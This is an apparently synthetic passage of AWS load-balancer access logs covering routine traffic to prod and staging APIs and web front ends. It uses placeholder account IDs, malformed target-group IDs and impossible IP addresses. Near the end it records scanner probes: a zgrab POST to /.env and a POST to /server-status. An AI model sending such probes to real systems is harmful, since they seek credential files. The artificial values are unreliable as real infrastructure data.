Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c462-b9078892041f46bbb1d104cf" "staging-alb.example.com" "-" 3 2024-11-01T00:54:42.488593Z "forward" "-" "-" "199.229.138.100:8080" "302" "-" "-" -https 2024-11-01T00:54:42.822092Z staging-alb 132.120.154.202:28588 250.13.150.78:8080 0.147213 0.557418 0.040973 200 200 868 3801 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c462-7a741838e8c94cb895ad3a02" "staging-alb.example.com" "-" 0 2024-11-01T00:54:42.822092Z "forward" "-" "-" "250.13.150.78:8080" "200" "-" "-" -https 2024-11-01T00:54:44.604723Z prod-api-alb 200.227.33.174:10150 10.0.188.233:443 0.035935 0.177153 0.083454 200 200 300 5310 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c464-e003b252159b4f769a65dbb1" "prod-api-alb.example.com" "-" 9 2024-11-01T00:54:44.604723Z "forward" "-" "-" "10.0.188.233:443" "200" "-" "-" -https 2024-11-01T00:54:45.018008Z prod-api-alb 37.227.48.155:34830 10.0.203.31:443 0.030359 0.425130 0.035034 200 200 954 2676 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c465-db3940d1d9ef4d7f906aead9" "prod-api-alb.example.com" "-" 2 2024-11-01T00:54:45.018008Z "forward" "-" "-" "10.0.203.31:443" "200" "-" "-" -http 2024-11-01T00:54:46.638470Z staging-alb 236.6.206.97:13885 155.85.216.235:443 0.097389 0.395522 0.062325 302 302 295 11656 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c466-3d27f33912284a6dbcb58329" "staging-alb.example.com" "-" 7 2024-11-01T00:54:46.638470Z "forward" "-" "-" "155.85.216.235:443" "302" "-" "-" -https 2024-11-01T00:54:48.173263Z prod-web-alb 184.75.177.244:53111 10.0.171.246:443 0.079566 0.480483 0.009313 200 200 347 5147 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c468-415b32fa10ee4178ac26ee4a" "prod-web-alb.example.com" "-" 3 2024-11-01T00:54:48.173263Z "forward" "-" "-" "10.0.171.246:443" "200" "-" "-" -https 2024-11-01T00:54:49.755351Z prod-api-alb 20.165.153.17:10803 10.0.162.153:443 0.037466 0.086575 0.036307 200 200 86 10606 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c469-f5c043a8bc584f3ba14d5b35" "prod-api-alb.example.com" "-" 9 2024-11-01T00:54:49.755351Z "forward" "-" "-" "10.0.162.153:443" "200" "-" "-" -https 2024-11-01T00:54:51.551069Z prod-web-alb 17.42.214.51:50494 10.0.56.177:443 0.072366 0.488559 0.064468 301 301 93 11052 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c46b-66a9db8398354567a1ad4eed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:54:51.551069Z "forward" "-" "-" "10.0.56.177:443" "301" "-" "-" -https 2024-11-01T00:54:52.261605Z prod-web-alb 110.232.185.226:59136 10.0.123.160:443 0.061547 0.002766 0.047682 200 200 207 12636 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c46c-f408272321af426486ca96e3" "prod-web-alb.example.com" "-" 3 2024-11-01T00:54:52.261605Z "forward" "-" "-" "10.0.123.160:443" "200" "-" "-" -http 2024-11-01T00:54:53.976043Z staging-alb 169.156.89.216:37604 97.78.251.98:8080 0.107738 0.649950 0.079432 404 404 217 11343 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c46d-3cc456eb96df4843999c7ec0" "staging-alb.example.com" "-" 7 2024-11-01T00:54:53.976043Z "forward" "-" "-" "97.78.251.98:8080" "404" "-" "-" -http 2024-11-01T00:54:54.980097Z staging-alb 85.27.243.180:57251 203.90.242.18:80 0.025579 0.045511 0.062907 302 302 612 8422 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c46e-ef5f5cabcaeb49eba1836ff1" "staging-alb.example.com" "-" 9 2024-11-01T00:54:54.980097Z "forward" "-" "-" "203.90.242.18:80" "302" "-" "-" -https 2024-11-01T00:54:55.976478Z prod-api-alb 187.74.126.10:35567 10.0.151.66:443 0.006233 0.262684 0.020172 200 200 497 1034 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c46f-d635b27119644599b8fdc05a" "prod-api-alb.example.com" "-" 5 2024-11-01T00:54:55.976478Z "forward" "-" "-" "10.0.151.66:443" "200" "-" "-" -https 2024-11-01T00:54:56.269444Z prod-web-alb 19.208.129.76:37249 10.0.61.152:443 0.076462 0.292064 0.034209 301 301 810 13449 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c470-df6a37ac214a414fb778fe5d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:54:56.269444Z "forward" "-" "-" "10.0.61.152:443" "301" "-" "-" -https 2024-11-01T00:54:57.811897Z prod-api-alb 20.16.125.234:17633 10.0.9.166:443 0.049178 0.189305 0.006597 301 301 271 10951 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c471-1bb798e0657e4bc08945a37a" "prod-api-alb.example.com" "-" 3 2024-11-01T00:54:57.811897Z "forward" "-" "-" "10.0.9.166:443" "301" "-" "-" -https 2024-11-01T00:54:59.657191Z prod-web-alb 47.111.112.5:55309 10.0.96.252:443 0.024871 0.434046 0.057110 301 301 185 7369 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c473-469ce686dfc741e187762707" "-" "-" 0 2024-11-01T00:54:59.657191Z "forward" "-" "-" "10.0.96.252:443" "301" "-" "-" -https 2024-11-01T00:55:00.470829Z prod-api-alb 150.45.48.75:41953 10.0.213.127:443 0.076954 0.451893 0.088819 301 301 565 14738 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c474-6aa31082fa814939b03f4192" "prod-api-alb.example.com" "-" 5 2024-11-01T00:55:00.470829Z "forward" "-" "-" "10.0.213.127:443" "301" "-" "-" -http 2024-11-01T00:55:01.277923Z staging-alb 224.39.102.203:55879 191.212.17.12:80 0.087394 0.259727 0.036363 404 404 276 3805 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c475-8d91363ef1fd4ec1be8894cd" "staging-alb.example.com" "-" 6 2024-11-01T00:55:01.277923Z "forward" "-" "-" "191.212.17.12:80" "404" "-" "-" -https 2024-11-01T00:55:02.556479Z prod-web-alb 101.230.120.39:19160 10.0.50.90:443 0.052982 0.362942 0.040248 200 200 191 10121 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c476-4e15b83ff76d4f69b4b45387" "prod-web-alb.example.com" "-" 1 2024-11-01T00:55:02.556479Z "forward" "-" "-" "10.0.50.90:443" "200" "-" "-" -https 2024-11-01T00:55:03.806655Z prod-api-alb 187.144.24.111:34927 10.0.149.29:443 0.070458 0.059273 0.059383 200 200 923 5722 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c477-cb5487e4806a40a1b8cd25bc" "prod-api-alb.example.com" "-" 10 2024-11-01T00:55:03.806655Z "forward" "-" "-" "10.0.149.29:443" "200" "-" "-" -https 2024-11-01T00:55:03.912339Z staging-alb 68.142.125.83:24456 214.129.15.39:8080 0.088207 0.248130 0.071521 200 200 243 4970 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c477-cf25d886a96d42eb9d87cf0d" "staging-alb.example.com" "-" 3 2024-11-01T00:55:03.912339Z "forward" "-" "-" "214.129.15.39:8080" "200" "-" "-" -https 2024-11-01T00:55:04.947360Z staging-alb 251.224.223.33:14650 87.2.181.17:8080 0.088222 0.399162 0.054003 200 200 224 4220 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c478-4a01443b44fe49078783bf81" "staging-alb.example.com" "-" 10 2024-11-01T00:55:04.947360Z "forward" "-" "-" "87.2.181.17:8080" "200" "-" "-" -http 2024-11-01T00:55:06.489162Z staging-alb 74.221.199.203:20177 123.193.0.0:8080 0.120882 0.306528 0.111106 302 302 246 2489 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c47a-8b41612667594dbd93e5c5e8" "staging-alb.example.com" "-" 4 2024-11-01T00:55:06.489162Z "forward" "-" "-" "123.193.0.0:8080" "302" "-" "-" -https 2024-11-01T00:55:08.338915Z prod-web-alb 64.111.118.107:39025 10.0.165.41:443 0.025583 0.346409 0.081656 200 200 905 11771 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c47c-8a9283d9ac3d4d38a6cd01f8" "prod-web-alb.example.com" "-" 10 2024-11-01T00:55:08.338915Z "forward" "-" "-" "10.0.165.41:443" "200" "-" "-" -http 2024-11-01T00:55:09.513724Z staging-alb 254.55.27.157:55943 83.182.179.101:443 0.100034 0.568089 0.041582 302 302 872 11820 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c47d-f8a1bc6d2d6044129c0069bb" "staging-alb.example.com" "-" 2 2024-11-01T00:55:09.513724Z "forward" "-" "-" "83.182.179.101:443" "302" "-" "-" -https 2024-11-01T00:55:09.970030Z prod-web-alb 43.29.145.93:56196 10.0.8.89:443 0.055185 0.392723 0.035477 200 200 991 8602 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c47d-1d96463818984b6f9e83ba47" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:09.970030Z "forward" "-" "-" "10.0.8.89:443" "200" "-" "-" -https 2024-11-01T00:55:11.911662Z staging-alb 42.163.34.178:31480 226.47.100.102:8080 0.070722 0.318476 0.073295 404 404 183 10336 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c47f-f2ded63185574c3881e04657" "staging-alb.example.com" "-" 10 2024-11-01T00:55:11.911662Z "forward" "-" "-" "226.47.100.102:8080" "404" "-" "-" -https 2024-11-01T00:55:13.448859Z prod-web-alb 222.10.207.44:11192 10.0.220.29:443 0.048580 0.394762 0.020450 200 200 325 13559 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c481-6779096bd0dd44aa979f15fe" "prod-web-alb.example.com" "-" 6 2024-11-01T00:55:13.448859Z "forward" "-" "-" "10.0.220.29:443" "200" "-" "-" -http 2024-11-01T00:55:14.599912Z staging-alb 206.171.64.223:57258 58.112.195.191:80 0.144386 0.665484 0.132081 200 200 770 5946 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c482-a86985401e47442c963cb678" "staging-alb.example.com" "-" 0 2024-11-01T00:55:14.599912Z "forward" "-" "-" "58.112.195.191:80" "200" "-" "-" -https 2024-11-01T00:55:16.142813Z prod-api-alb 188.131.42.13:15160 10.0.182.167:443 0.056842 0.224827 0.048830 301 301 190 2382 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c484-0bff5ffdf654422c9f0dbcde" "prod-api-alb.example.com" "-" 0 2024-11-01T00:55:16.142813Z "forward" "-" "-" "10.0.182.167:443" "301" "-" "-" -https 2024-11-01T00:55:16.815403Z prod-api-alb 96.25.189.224:62568 10.0.180.69:443 0.056192 0.347434 0.074754 302 302 348 13380 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c484-e434ed1390e542fb9d1a36cf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:55:16.815403Z "forward" "-" "-" "10.0.180.69:443" "302" "-" "-" -https 2024-11-01T00:55:17.463100Z prod-api-alb 178.105.83.168:15339 10.0.193.193:443 0.000815 0.131944 0.018893 200 200 63 9550 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c485-9d6b273dec8a4fcc8f65f8c6" "prod-api-alb.example.com" "-" 10 2024-11-01T00:55:17.463100Z "forward" "-" "-" "10.0.193.193:443" "200" "-" "-" -https 2024-11-01T00:55:18.574975Z prod-web-alb 18.178.16.235:60767 10.0.43.99:443 0.065975 0.408286 0.000707 200 200 517 252 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c486-535e8e9058694061aba6722b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:55:18.574975Z "forward" "-" "-" "10.0.43.99:443" "200" "-" "-" -https 2024-11-01T00:55:19.163808Z prod-web-alb 237.61.114.50:11232 10.0.13.207:443 0.091858 0.365348 0.097685 200 200 872 9239 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c487-2b87c6ae86cc41a5b8d9a8d8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:55:19.163808Z "forward" "-" "-" "10.0.13.207:443" "200" "-" "-" -https 2024-11-01T00:55:20.649036Z prod-api-alb 53.169.244.229:12219 10.0.213.201:443 0.002918 0.256327 0.049410 301 301 184 7395 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c488-943a4df5c13041058ca0a2fb" "prod-api-alb.example.com" "-" 1 2024-11-01T00:55:20.649036Z "forward" "-" "-" "10.0.213.201:443" "301" "-" "-" -https 2024-11-01T00:55:21.620644Z prod-web-alb 99.253.223.86:45807 10.0.204.115:443 0.072491 0.120080 0.050342 200 200 920 6901 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c489-4fec0a76ac46468b93196188" "prod-web-alb.example.com" "-" 2 2024-11-01T00:55:21.620644Z "forward" "-" "-" "10.0.204.115:443" "200" "-" "-" -http 2024-11-01T00:55:23.068876Z staging-alb 90.234.2.178:21389 223.56.166.36:80 0.120937 0.327582 0.058616 404 404 320 1552 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c48b-95762b0c982140a1af18d190" "staging-alb.example.com" "-" 1 2024-11-01T00:55:23.068876Z "forward" "-" "-" "223.56.166.36:80" "404" "-" "-" -https 2024-11-01T00:55:23.417085Z prod-api-alb 254.137.82.169:11354 10.0.16.184:443 0.096659 0.276285 0.053473 404 404 54 11965 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c48b-1817d626b85143c9833dd0c4" "prod-api-alb.example.com" "-" 5 2024-11-01T00:55:23.417085Z "forward" "-" "-" "10.0.16.184:443" "404" "-" "-" -https 2024-11-01T00:55:24.684913Z staging-alb 43.46.124.108:40786 197.237.0.36:443 0.005636 0.434027 0.105478 200 200 834 6188 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c48c-0d7b0a3511c3432b831b0741" "staging-alb.example.com" "-" 2 2024-11-01T00:55:24.684913Z "forward" "-" "-" "197.237.0.36:443" "200" "-" "-" -http 2024-11-01T00:55:25.697670Z staging-alb 58.237.26.238:46287 43.149.217.83:80 0.108358 0.609213 0.087928 200 200 615 12926 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c48d-a8a11725f4a249f5bcbafc54" "staging-alb.example.com" "-" 1 2024-11-01T00:55:25.697670Z "forward" "-" "-" "43.149.217.83:80" "200" "-" "-" -https 2024-11-01T00:55:27.333267Z prod-web-alb 193.27.228.71:48003 10.0.61.95:443 0.044828 0.493916 0.018382 500 500 609 1042 "POST /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c48f-4449e347e34f44e1bfd4304d" "-" "-" 2 2024-11-01T00:55:27.333267Z "forward" "-" "-" "10.0.61.95:443" "500" "-" "-" -https 2024-11-01T00:55:27.603240Z prod-web-alb 104.187.192.21:41407 10.0.156.14:443 0.052945 0.450766 0.060126 200 200 298 8488 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c48f-a5665b269fa349d8bf1ff059" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:27.603240Z "forward" "-" "-" "10.0.156.14:443" "200" "-" "-" -https 2024-11-01T00:55:28.269573Z prod-web-alb 251.23.227.146:55001 10.0.31.56:443 0.000609 0.473018 0.007657 404 404 653 1506 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c490-1fdff743322f4ef78a33914c" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:28.269573Z "forward" "-" "-" "10.0.31.56:443" "404" "-" "-" -https 2024-11-01T00:55:28.583076Z staging-alb 0.61.226.238:64996 0.16.191.40:8080 0.044467 0.292453 0.126936 200 200 611 4385 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c490-04100906d18743f686ed3906" "staging-alb.example.com" "-" 2 2024-11-01T00:55:28.583076Z "forward" "-" "-" "0.16.191.40:8080" "200" "-" "-" -https 2024-11-01T00:55:29.573759Z prod-api-alb 33.180.176.88:36959 10.0.173.131:443 0.082287 0.023944 0.065854 301 301 658 3666 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c491-0e0e79d87ae44ba7991c0279" "prod-api-alb.example.com" "-" 1 2024-11-01T00:55:29.573759Z "forward" "-" "-" "10.0.173.131:443" "301" "-" "-" -https 2024-11-01T00:55:30.007042Z prod-web-alb 226.77.174.157:13123 10.0.240.65:443 0.049750 0.063126 0.095789 404 404 229 3729 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c492-f173965a624d49a0976b8323" "prod-web-alb.example.com" "-" 2 2024-11-01T00:55:30.007042Z "forward" "-" "-" "10.0.240.65:443" "404" "-" "-" -https 2024-11-01T00:55:30.773020Z prod-web-alb 226.192.112.8:55357 10.0.70.135:443 0.088313 0.024401 0.059600 200 200 189 2976 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c492-2afb6121f9e846abae2e4ce6" "prod-web-alb.example.com" "-" 0 2024-11-01T00:55:30.773020Z "forward" "-" "-" "10.0.70.135:443" "200" "-" "-" -https 2024-11-01T00:55:30.971977Z prod-web-alb 114.101.75.42:51432 10.0.240.162:443 0.058359 0.178613 0.070842 200 200 837 7622 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c492-86b6b3600c954730a8f0f1d5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:55:30.971977Z "forward" "-" "-" "10.0.240.162:443" "200" "-" "-" -https 2024-11-01T00:55:31.381567Z prod-api-alb 26.145.233.175:21387 10.0.97.25:443 0.053891 0.012058 0.099429 404 404 663 4906 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c493-7706ed6f3a884815a6b3c12a" "prod-api-alb.example.com" "-" 2 2024-11-01T00:55:31.381567Z "forward" "-" "-" "10.0.97.25:443" "404" "-" "-" -http 2024-11-01T00:55:31.727521Z staging-alb 6.143.94.26:32287 6.122.62.228:8080 0.062749 0.314237 0.054607 301 301 20 7128 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c493-f86a9de408304f1f8c479b84" "staging-alb.example.com" "-" 4 2024-11-01T00:55:31.727521Z "forward" "-" "-" "6.122.62.228:8080" "301" "-" "-" -http 2024-11-01T00:55:32.144770Z staging-alb 45.155.205.47:20417 218.146.48.75:8080 0.149273 0.091712 0.082105 403 403 191 14223 "POST /.env HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c494-8ec5ec9f91f64807a2186845" "-" "-" 4 2024-11-01T00:55:32.144770Z "forward" "-" "-" 